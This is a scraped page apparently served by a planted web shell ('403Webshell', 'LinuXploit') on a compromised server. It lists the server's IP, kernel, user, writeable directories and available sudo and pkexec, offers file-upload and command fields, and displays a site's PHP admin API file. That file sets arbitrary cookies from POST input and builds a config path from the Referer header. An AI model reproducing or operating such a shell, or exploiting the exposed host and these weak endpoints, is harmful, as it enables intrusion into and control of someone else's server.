403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ttjs.cz/dev/admin/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ttjs.cz/dev/admin/api/Config.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

namespace admin\api;

/**
 * Description of Global
 *
 * @author maros
 */
class Config extends \app\classes\AdminApiClass {

    public function updateModuleConfig() {
        $cnf = new \app\classes\ModuleConfig(str_replace("/admin/", "/modules/", $_SERVER['HTTP_REFERER']));
        foreach ($this->urlReader->getPost() as $key => $val) {
            $cnf->setConfig($key, $val);
        }
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["variable", "value"]
     */
    public function setCookieVariable() {
        setcookie($this->urlReader->getPost("variable"), $this->urlReader->getPost("value"), 0, "/");
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit